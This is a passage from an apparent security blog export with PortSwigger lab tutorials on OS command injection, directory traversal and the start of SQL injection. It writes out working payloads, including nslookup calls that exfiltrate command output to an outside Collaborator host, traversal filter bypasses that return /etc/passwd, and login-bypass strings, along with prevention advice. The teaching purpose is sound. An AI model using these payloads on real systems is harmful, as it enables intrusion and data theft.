can remove the payloads one by one, to figure out which parameter is vulnerable. After a few tries we can figure out that the email parameter is vulnerable, and the other parameters are not.\n1POST /feedback/submit HTTP/1.1 2Host: ac671f621f8941e6c06e04ab00e6007b.web-security-academy.net 3Cookie: session=v1Fg39BCexTonWMoz7kj0cEVZkFyjrmd 4[...] 5Content-Type: application/x-www-form-urlencoded 6[...] 7 8csrf=Go1I7HcKufiodcSJY7WaJ91wSZO1TE33\u0026amp;name=test\u0026amp;email=test%26+sleep+10%26\u0026amp;subject=test\u0026amp;message=test We can now leverage this command injection to gain access to the server or exfiltrate data.\nOutput Redirection Another method that we can use to find out whether or not we have command injection onto a server is output redirection. To perform a succesful output redirection command injection, we need to have write access to a file within the web root that we can access from the web application. We can then send the output of the command that we ran to a file, and browse to this file via the web browser. Let's take a look at an example.\nThe following web application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, for practicing purposes, we have a writeable folder located at\n1/var/www/images/ We are dealing with the same feedback function again.\n1POST /feedback/submit HTTP/1.1 2Host: acae1ff01e209d2cc082b16000af003a.web-security-academy.net 3[...] 4 5csrf=hwXyvlltzavc7jyufWadYjIomopqskls\u0026amp;name=test\u0026amp;email=test%40test.nl\u0026amp;subject=test\u0026amp;message=test Let's write out our possible payloads.\n1\u0026amp; whoami \u0026gt; /var/www/images/whoami.txt \u0026amp; 2\u0026amp;\u0026amp; whoami \u0026gt; /var/www/images/whoami.txt \u0026amp;\u0026amp; 3| whoami \u0026gt; /var/www/images/whoami.txt 4|| whoami \u0026gt; /var/www/images/whoami.txt Let's use the URL encoded versions of these payloads and inject them into all of our parameters.\n1POST /feedback/submit HTTP/1.1 2Host: acae1ff01e209d2cc082b16000af003a.web-security-academy.net 3[...] 4 5csrf=hwXyvlltzavc7jyufWadYjIomopqskls\u0026amp;name=test%26%2bwhoami%2b\u0026gt;%2b/var/www/images/whoami.txt%2b%26\u0026amp;email=test%26%2bwhoami%2b\u0026gt;%2b/var/www/images/whoami.txt%2b%26\u0026amp;subject=test%26%2bwhoami%2b\u0026gt;%2b/var/www/images/whoami.txt%2b%26\u0026amp;message=test%26%2bwhoami%2b\u0026gt;%2b/var/www/images/whoami.txt%2b%26 We get a 500 Internal Server Error.\n1HTTP/1.1 500 Internal Server Error 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 16 5 6\u0026#34;Could not save\u0026#34; If we send the same payload to all parameters, besides the email parameter, we do not get this error.\n1POST /feedback/submit HTTP/1.1 2Host: acae1ff01e209d2cc082b16000af003a.web-security-academy.net 3[...] 4 5csrf=hwXyvlltzavc7jyufWadYjIomopqskls\u0026amp;name=test%26%2bwhoami%2b\u0026gt;%2b/var/www/images/whoami.txt%2b%26\u0026amp;email=test\u0026amp;subject=test%26%2bwhoami%2b\u0026gt;%2b/var/www/images/whoami.txt%2b%26\u0026amp;message=test%26%2bwhoami%2b\u0026gt;%2b/var/www/images/whoami.txt%2b%26 The server responds with 200 OK.\n1HTTP/1.1 200 OK 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 2 5 6{} This indicates that the email parameter is again our vulnerable parameter. Now we need to figure out the right syntax. When using the single \u0026amp;, double \u0026amp;\u0026amp; and single | we get an error. When using the double || we do not.\n1POST /feedback/submit HTTP/1.1 2Host: acae1ff01e209d2cc082b16000af003a.web-security-academy.net 3[...] 4 5csrf=hwXyvlltzavc7jyufWadYjIomopqskls\u0026amp;name=test\u0026amp;email=test||+whoami+\u0026gt;+/var/www/images/whoami.txt+||\u0026amp;subject=test\u0026amp;message=test At which the server respond with.\n1HTTP/1.1 200 OK 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 2 5 6{} Now our job is to find the whoami.txt. When looking at the standard GET requests that the server sends when loading images, we can see that the following request is sent out.\n1GET /image?filename=33.jpg HTTP/1.1 2Host: acae1ff01e209d2cc082b16000af003a.web-security-academy.net 3[...] When we supply whoami.txt instead of 33.jpg\n1GET /image?filename=whoami.txt HTTP/1.1 2Host: acae1ff01e209d2cc082b16000af003a.web-security-academy.net 3[...] The server shows us the output of the whoami command in its response.\n1HTTP/1.1 200 OK 2Content-Type: text/plain; charset=utf-8 3Connection: close 4Content-Length: 13 5 6peter-TbUSX4 Indicating that we managed to run the whoami command, save it to a file and retrieve it.\nOut-of-bound Interaction We can also try to make the server execute a DNS request to one of the servers that we control. If we see the DNS request coming in, we know that our command injection worked. Often times DNS is allowed through the firewall, as there are many services out there that require DNS connectivity to work. Let's take a look at an example of how to do this.\nThe application contains a blind OS command injection vulnerability in the feedback function. It executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. Additionally, we do not have access to a folder which we can redirect our output to.\nTo quickly test an OAST (out-of-band application security testing) technique, we can leverage the BurpSuite Collaborator. This tool is available with the BurpSuite Professional license, and allows us to spin up a DNS server that we can use to see whether our attack worked or not. To do this, we have to navigate to Burp --\u0026gt; Collaborator Client and copy the URL. Let's write down the most common payloads.\n1\u0026amp; nslookup 389cauqzojam3s3l8xr7dqqgt7zxnm.oastify.com \u0026amp; 2\u0026amp;\u0026amp; nslookup 389cauqzojam3s3l8xr7dqqgt7zxnm.oastify.com \u0026amp;\u0026amp; 3| nslookup 389cauqzojam3s3l8xr7dqqgt7zxnm.oastify.com | 4|| nslookup 389cauqzojam3s3l8xr7dqqgt7zxnm.oastify.com || We are dealing with a similar feedback functionality again. Let's take a look at the request.\n1POST /feedback/submit HTTP/1.1 2Host: acd21fd31e936a50c03f097a00a600db.web-security-academy.net 3[...] 4 5csrf=vBwjgvK0W6yk5QblVGz8hXQ9etVotTvH\u0026amp;name=test\u0026amp;email=test%40test.nl\u0026amp;subject=test\u0026amp;message=test Let's URL encode the first payload, and add it to the email parameter.\n1POST /feedback/submit HTTP/1.1 2Host: acd21fd31e936a50c03f097a00a600db.web-security-academy.net 3[...] 4 5csrf=vBwjgvK0W6yk5QblVGz8hXQ9etVotTvH\u0026amp;name=test\u0026amp;email=test%26+nslookup+389cauqzojam3s3l8xr7dqqgt7zxnm.oastify.com+%26\u0026amp;subject=test\u0026amp;message=test After which the server responds with.\n1HTTP/1.1 200 OK 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 2 5 6{} And we see a DNS request popping up in the collaborator client.\nIndicating that we managed to exploit the command injection vulnerability.\nOut-of-bound Data Exfiltration We can weaponize the previous attack vector to exfiltrate sensitive data via the out-of-bound channel. We can do this by specifying a command within virtual host section like so.\n1\u0026amp; nslookup `whoami`.389cauqzojam3s3l8xr7dqqgt7zxnm.oastify.com \u0026amp; The command above would output the results of the whoami command in the request.\n1wwwuser.389cauqzojam3s3l8xr7dqqgt7zxnm.oastify.com Let's leverage this technique to send a request to our own controlled domain, and read the output. We will be exploiting the same vulnerable feedback function again.\n1POST /feedback/submit HTTP/1.1 2Host: acbf1f041f761041c0f00d49000d00f5.web-security-academy.net 3[...] 4 5csrf=1fPgyRJ6xPq4geoV0B5RxeCiEUeaPE15\u0026amp;name=test\u0026amp;email=test%40test.nl\u0026amp;subject=test\u0026amp;message=test We add our payload to the POST request.\n1POST /feedback/submit HTTP/1.1 2Host: acbf1f041f761041c0f00d49000d00f5.web-security-academy.net 3[...] 4 5csrf=1fPgyRJ6xPq4geoV0B5RxeCiEUeaPE15\u0026amp;name=test\u0026amp;email=test%26+nslookup+`whoami`389cauqzojam3s3l8xr7dqqgt7zxnm.oastify.com+%26\u0026amp;subject=test\u0026amp;message=test And we manage to exfiltrate the output of the whoami command.\nWe can see that the server responded with \u0026quot;peter-QefuHp389cauqzojam3s3l8xr7dqqgt7zxnm.oastify.com\u0026quot;, indicating that the output of the whoami command is \u0026quot;peter-QefuHp\u0026quot;.\nHow to Prevent Command Injection Vulnerabilities The easiest way to prevent command injection vulnerabilities is to never call out to OS commands from application layer code. There are always alternatives to this method.\nIf for some reason this would not be possible, there are several other methods to reduce the chance of being vulnerable to this type of attack.\nDon't run system commands with user supplied input. Use strong input validation for input passed into commands. This includes white listing and validating that the input only contains numbers, alphanumeric characters and no other syntax or whitespace. Implement a web application firewall to block command injection payloads and block incoming / outcoming connections. Two other methods are useful to minimize the impact a possible command injection vulnerability has on your server.\nUse the principal of least privilege, ensuring that an attacker that manages to compromise your system has limited privileges. Ensure that your applications are patched and up-to-date. Implementing all of the above, in conjunction with the usage of modern web development frameworks and basic development principles should very much minimize the risk of falling victim to a command injection vulnerability.\n","link":"https://aegrah.github.io/post/2022-05-19-web-application-hacking-command-injection.html","section":"post","tags":["OWASP","Webapp"],"title":"Web Application Hacking - Command Injection"},{"body":"In this post we will be taking a look at the directory traversal or path traversal vulnerability. I'll go over what directory traversal exactly is, how we can weaponize it, how we can bypass common protections and misconfigurations and lastly how to prevent it within your own web application. While elaborating on this topic, I will be going through several easy and more advanced examples that are available for free at PortSwigger Academy\nWhat is Directory Traversal? Directory traversal or path traversal is an HTTP attack which allows attackers to access restricted directories and execute commands outside of the web server’s root directory. Directory Traversal vulnerabilities are extra powerfull when chained with local file inclusion vulnerabilities. Through the access to restricted directories and files, attack might access sensitive data such as database or web application credentials, and leverage this data to proceed further within the attack chain and possibly take over the target server.\nIn order to showcase this vulnerability, we will go over a simple example. BurpSuite does not automatically render image data within its HTTP history. To enable this, navigate to Proxy --\u0026gt; HTTP History --\u0026gt; Filter --\u0026gt; check \u0026quot;images\u0026quot;.\nThe following web application contains a file path traversal vulnerability in the display of product images. Our task is to retrieve the contents of the /etc/passwd file. When we navigate to a product, we can see that a GET request is sent to access the .jpg image file that is rendered on the web page.\n1GET /image?filename=17.jpg Often times vulnerabilities such as SQLi, path traversals, LFI/RFI and XSS are found in web applications that allow user input within their parameters. In this case, we find a URL that accesses a specific file, which we can supply user data to. Let's see if we can manipulate the filename parameter to trigger a path traversal attack.\nWhen we retrieve the 17.jpg file, we can see that the response is 148533 bytes in length. We can also retrieve the 18.jpg, by sending the following HTTP request.\n1GET /image?filename=18.jpg HTTP/1.1 Which responds with an image of 133506 bytes. Let's see if we can also access other files.\n1GET /image?filename=/etc/passwd HTTP/1.1 Which responds with\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 14 5 6\u0026#34;No such file\u0026#34; The reason for this is that we are trying to access /etc/passwd file within the current directory that we are in. In this case, the /etc/passwd is not rendered as a full path, thus the web application cannot find it. We can add a series of ../../../../ to our payload in order to move back to the root directory, and then access /etc/passwd like so.\n1GET /image?filename=../../../../../../../etc/passwd HTTP/1.1 The server responds with.\n1HTTP/1.1 200 OK 2Content-Type: image/jpeg 3Connection: close 4Content-Length: 1256 5 6root:x:0:0:root:/root:/bin/bash 7daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8bin:x:2:2:bin:/bin:/usr/sbin/nologin 9sys:x:3:3:sys:/dev:/usr/sbin/nologin 10sync:x:4:65534:sync:/bin:/bin/sync 11games:x:5:60:games:/usr/games:/usr/sbin/nologin 12man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 21irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 25peter:x:12001:12001::/home/peter:/bin/bash 26carlos:x:12002:12002::/home/carlos:/bin/bash 27user:x:12000:12000::/home/user:/bin/bash 28elmer:x:12099:12099::/home/elmer:/bin/bash 29academy:x:10000:10000::/academy:/bin/bash 30messagebus:x:101:101::/nonexistent:/usr/sbin/nologin 31dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin We are able to read files from the file system! Let's see what permissions we have. Let's try to request /etc/shadow file, which is only available to the root user.\n1GET /image?filename=../../../../../../../etc/shadow HTTP/1.1 The server responds with a 400 Bad Request.\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 14 5 6\u0026#34;No such file\u0026#34; When we try to access files that we do not have permissions to access, we get a \u0026quot;no such file error\u0026quot;. Often this vulnerability allows users to read all files as the www-data, nginx or apache user, as the web application is requesting these files.\nWhen you are testing for this vulnerability, the key is to find a file that exists. For this we can use commonly available files, or a cheat sheet with available payloads.\nCommon Directory Traversal Obstacles and Bypasses Often times web applications are protected again path traversal attacks like the one specified above. In this case, it is often necessary to test several bypasses in order to still trigger the vulnerability. This section goes through some of the most common directory traversal bypasses and specifies an example for each one.\nAbsolute Path Bypass A very simple bypass would be to specify the absolute path of a file, ensuring that no traversal sequences are used. Let's take a look at an example. In the last example we couldn't use absolute paths. Let's try to access /etc/passwd through a traversal sequence.\n1GET /image?filename=../../../../../etc/passwd HTTP/1.1 At which the server responds with.\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 14 5 6\u0026#34;No such file\u0026#34; In this case, we have to specify the absolute path like so.\n1GET /image?filename=/etc/passwd HTTP/1.1 At which the server responds with.\n1HTTP/1.1 200 OK 2Content-Type: image/jpeg 3Connection: close 4Content-Length: 1256 5 6root:x:0:0:root:/root:/bin/bash 7daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8bin:x:2:2:bin:/bin:/usr/sbin/nologin 9sys:x:3:3:sys:/dev:/usr/sbin/nologin 10sync:x:4:65534:sync:/bin:/bin/sync 11games:x:5:60:games:/usr/games:/usr/sbin/nologin 12man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 21irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 25peter:x:12001:12001::/home/peter:/bin/bash 26carlos:x:12002:12002::/home/carlos:/bin/bash 27user:x:12000:12000::/home/user:/bin/bash 28elmer:x:12099:12099::/home/elmer:/bin/bash 29academy:x:10000:10000::/academy:/bin/bash 30messagebus:x:101:101::/nonexistent:/usr/sbin/nologin 31dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin Traversal Sequences Stripped Non-Recursively Some web applications attempt to manually strip directory traversal payloads. If we were to supply a ../ payload, it would fully remove it from the request. In this case, as the web application is stripping it non-recursively, we can add a double payload in order to ensure that the web application will still interpret the payload. Let's take a look at an example.\n1GET /image?filename=../../../../../etc/passwd HTTP/1.1 We do not manage to read the /etc/passwd payload.\n1HTTP/1.1 400 Bad Request 2Content-Type: application/json; charset=utf-8 3Connection: close 4Content-Length: 14 5 6\u0026#34;No such file\u0026#34; But if we use the following payload\n1GET /image?filename=....//....//....//....//....//etc/passwd HTTP/1.1 We do manage to read the /etc/passwd file.\n1HTTP/1.1 200 OK 2Content-Type: image/jpeg 3Connection: close 4Content-Length: 1256 5 6root:x:0:0:root:/root:/bin/bash 7daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8bin:x:2:2:bin:/bin:/usr/sbin/nologin 9sys:x:3:3:sys:/dev:/usr/sbin/nologin 10sync:x:4:65534:sync:/bin:/bin/sync 11games:x:5:60:games:/usr/games:/usr/sbin/nologin 12man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 21irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 25peter:x:12001:12001::/home/peter:/bin/bash 26carlos:x:12002:12002::/home/carlos:/bin/bash 27user:x:12000:12000::/home/user:/bin/bash 28elmer:x:12099:12099::/home/elmer:/bin/bash 29academy:x:10000:10000::/academy:/bin/bash 30messagebus:x:101:101::/nonexistent:/usr/sbin/nologin 31dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin The reason for this is that when you strip ../ from ....// you will still end up with a traversal sequence of ../\nTraversal Sequences Stripped with Superfluous URL-Decode If the example above does also not bypass the defense mechanisms, we can sometimes bypass this sort of sanitization through (double) URL-encoding or various other non-standard encodings of the traversal sequence. Let's take a look at an example. Let's start with the basic payload, which does not work.\n1GET /image?filename=../../../../../../../../etc/passwd HTTP/1.1 We can then attempt a single URL-encoding scheme for our traversal sequence.\n1GET /image?filename=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1 Which does also not work. Let's encode the traversal sequence a second time.\n1GET /image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc/passwd HTTP/1.1 And we manage to read the /etc/passwd file again.\n1HTTP/1.1 200 OK 2Content-Type: image/jpeg 3Connection: close 4Content-Length: 1256 5 6root:x:0:0:root:/root:/bin/bash 7daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8bin:x:2:2:bin:/bin:/usr/sbin/nologin 9sys:x:3:3:sys:/dev:/usr/sbin/nologin 10sync:x:4:65534:sync:/bin:/bin/sync 11games:x:5:60:games:/usr/games:/usr/sbin/nologin 12man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 21irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 25peter:x:12001:12001::/home/peter:/bin/bash 26carlos:x:12002:12002::/home/carlos:/bin/bash 27user:x:12000:12000::/home/user:/bin/bash 28elmer:x:12099:12099::/home/elmer:/bin/bash 29academy:x:10000:10000::/academy:/bin/bash 30messagebus:x:101:101::/nonexistent:/usr/sbin/nologin 31dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin We could also use the BurpSuite intruder to automate the process of finding the path traversal vulnerability for us. To do so, we can send this request to the intruder, and set the attack type to \u0026quot;sniper\u0026quot;, and set the vulnerable parameter as our injection point.\n1GET /image?filename=§vulnerable§ HTTP/1.1 2Host: ac7f1f4d1e1e18fdc019168000b70057.web-security-academy.net 3Cookie: session=GkySQxdb0XS5sKMQ3DqsDp2rCd4q912s 4Sec-Ch-Ua: \u0026#34;(Not(A:Brand\u0026#34;;v=\u0026#34;8\u0026#34;, \u0026#34;Chromium\u0026#34;;v=\u0026#34;101\u0026#34; 5Sec-Ch-Ua-Mobile: ?0 6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 7Sec-Ch-Ua-Platform: \u0026#34;Windows\u0026#34; 8Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 9Sec-Fetch-Site: same-origin 10Sec-Fetch-Mode: no-cors 11Sec-Fetch-Dest: image 12Referer: https://ac7f1f4d1e1e18fdc019168000b70057.web-security-academy.net/product?productId=1 13Accept-Encoding: gzip, deflate 14Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7 15Connection: close We can then specify \u0026quot;Fuzzing - Path Traversal\u0026quot; list as our payload. When filter the results, we can see that one of the payloads worked.\nIt ended up sending the following request.\n1GET /image?filename=%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252fetc%2fhosts HTTP/1.1 At which the server responded with.\n1HTTP/1.1 200 OK 2Content-Type: image/jpeg 3Connection: close 4Content-Length: 174 5 6127.0.0.1\tlocalhost 7::1\tlocalhost ip6-localhost ip6-loopback 8fe00::0\tip6-localnet 9ff00::0\tip6-mcastprefix 10ff02::1\tip6-allnodes 11ff02::2\tip6-allrouters 12172.17.0.4\tbcbd56dfad26 This technique is useful to save time during an assignment, or to double check that you didn't miss any obvious payload.\nStart of Path Validation Bypass Sometimes the web application expected the path to start with an expected base folder. We can then use traversal sequences to break out of the folder, and access a file on the file system. Let's take a look at the following example. When we load the web page, we can see the following standard GET request.\n1GET /image?filename=/var/www/images/4.jpg HTTP/1.1 This already helps us, as we now know where exactly the images are saved. If we were to specify our regular payload like so, it would not work.\n1GET /image?filename=../../../etc/passwd HTTP/1.1 Let's try to access the /etc/passwd file by moving from the images path back to the root directory and then access the file.\n1GET /image?filename=/var/www/images/../../../etc/passwd HTTP/1.1 Which returns the file for us.\n1HTTP/1.1 200 OK 2Content-Type: image/jpeg 3Connection: close 4Content-Length: 1256 5 6root:x:0:0:root:/root:/bin/bash 7daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8bin:x:2:2:bin:/bin:/usr/sbin/nologin 9sys:x:3:3:sys:/dev:/usr/sbin/nologin 10sync:x:4:65534:sync:/bin:/bin/sync 11games:x:5:60:games:/usr/games:/usr/sbin/nologin 12man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 21irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 25peter:x:12001:12001::/home/peter:/bin/bash 26carlos:x:12002:12002::/home/carlos:/bin/bash 27user:x:12000:12000::/home/user:/bin/bash 28elmer:x:12099:12099::/home/elmer:/bin/bash 29academy:x:10000:10000::/academy:/bin/bash 30messagebus:x:101:101::/nonexistent:/usr/sbin/nologin 31dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin Null Byte Bypass Finally, we can use null bytes to bypass applications that require that user-supplied filenames must end with an expected file extension. As we are dealing with images, the web application might want our requests to end with .jpg or .png. We can use a null byte to specify an end of operation instruction. In web applications we can use the %00 syntax for this. Let's take a look at the following example. If we use our regular payload, we will not see a response.\n1GET /image?filename=../../../../../etc/passwd HTTP/1.1 However, if we make the web application think that we are specifying an image file, but actually specifying a null byte in order to terminate the file path before the required extension, we can bypass this check.\n1GET /image?filename=../../../../../etc/passwd%00.png HTTP/1.1 And we see the contents of the /etc/passwd file.\n1HTTP/1.1 200 OK 2Content-Type: image/png 3Connection: close 4Content-Length: 1256 5 6root:x:0:0:root:/root:/bin/bash 7daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8bin:x:2:2:bin:/bin:/usr/sbin/nologin 9sys:x:3:3:sys:/dev:/usr/sbin/nologin 10sync:x:4:65534:sync:/bin:/bin/sync 11games:x:5:60:games:/usr/games:/usr/sbin/nologin 12man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 18www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 19backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 20list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 21irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 22gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 23nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 24_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 25peter:x:12001:12001::/home/peter:/bin/bash 26carlos:x:12002:12002::/home/carlos:/bin/bash 27user:x:12000:12000::/home/user:/bin/bash 28elmer:x:12099:12099::/home/elmer:/bin/bash 29academy:x:10000:10000::/academy:/bin/bash 30messagebus:x:101:101::/nonexistent:/usr/sbin/nologin 31dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin How to Prevent a Directory Traversal Attack In order to protect a web application from becoming vulnerable to directory traversal attacks, there are several steps we have to take.\nIt is important to minimize the possibility for user input when using system calls. When user input is required, ensure that the user cannot supply all parts of the path. Implement white listing (accept known good) instead of black listing. Use normalization functions to normalize user input for file operations. The bottom line is, try to prevent users from passing in user-supplied input to the file system API at all costs. If this is not possible, mitigate risks by implementing several defensive mechanisms in order to construct a defense-in-depth defensive mechanism.\n","link":"https://aegrah.github.io/post/2022-05-18-web-application-hacking-directory-traversal.html","section":"post","tags":["OWASP","Webapp"],"title":"Web Application Hacking - Directory Traversal"},{"body":"This post will explain what SQL-injection (SQLi) is, how we can find SQLi vulnerabilities in web applications, how we can weaponize this vulnerability and how to prevent it. While researching and explaining the topic, we will go through several easy and more advanced examples that are available for free at PortSwigger Academy.\nWhat is SQL-injection? Let's first take a look at what SQL exactly is. SQL, or Structured Query Language, is a standard language for storing, manipulating and retrieving data in databases (some examples include but are not limited to MS SQL Server, Oracle and MySQL). It uses easy to read and straight forward syntax to perform CRUD (create, read, update and delete) operations on databases. An example of a simple SQL query looks like this.\n1SELECT * FROM users where username = \u0026#34;admin\u0026#34; AND password = \u0026#34;password\u0026#34; This query would look inside of its database and look for all users that match the where statement. SQL is often used by web applications to retrieve data from users, or present data to users. For example, when you want to sign in to a website, the web application will query its database to see if the credentials you supplied match a given user, and if its the case it will grant you access to the website, if not it will ask you to try again.\nIn our previous example, the input for the query that is sent to the backend server is somewhat controlled by the user, as the user supplies the username and password inputs. This is where SQLi comes in to play.\nSQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. By doing so, attackers can possibly retrieve data from the database that they are not supposed to retrieve, bypass login forms or in some cases even execute code on the underlying backend server. Depending on how the database is setup, this could lead to the leakage of confidential user credentials, company assets or other sensitive information.\nBasic SQL-injection Example Let's take another look at the SQL query that we wrote earlier.\n1SELECT * FROM users where username = \u0026#34;admin\u0026#34; AND password = \u0026#34;password\u0026#34; In this query we, the user, are attempting to login to a web application. By specifying our credentials we are capable of modifying the SQL query that is sent to the backend server. As long as we specify valid characters such as letters and numbers, the SQL query will simple run as if nothing has happened. What would happen if we inject specific key SQL symbols as username or password? Assuming that the web application is not protected by a web application firewall (WAF) or has any SQLi protections built in, we can try to alter the query with the following payload in the username parameter:\n1\u0026#34; -- - This payload will close the double quotes and comment out everything after it (as -- - is used to comment out lines in several implementations of SQL). If we inject it into our login form, our query to the server would look like this.\n1SELECT * FROM users where username = \u0026#34;\u0026#34; -- -\u0026#34; AND password = \u0026#34;password\u0026#34; The server would just run the query asif nothing bad happened. But what if we fully alter the SQL query the server runs.. Maybe we can use a simple trick to bypass the login form. To do this, we can use the following basic payload.\n1admin\u0026#34; OR 1 = 1-- - This payload will change the SQL query into a query that will look for a username called admin, or will check whether 1 = 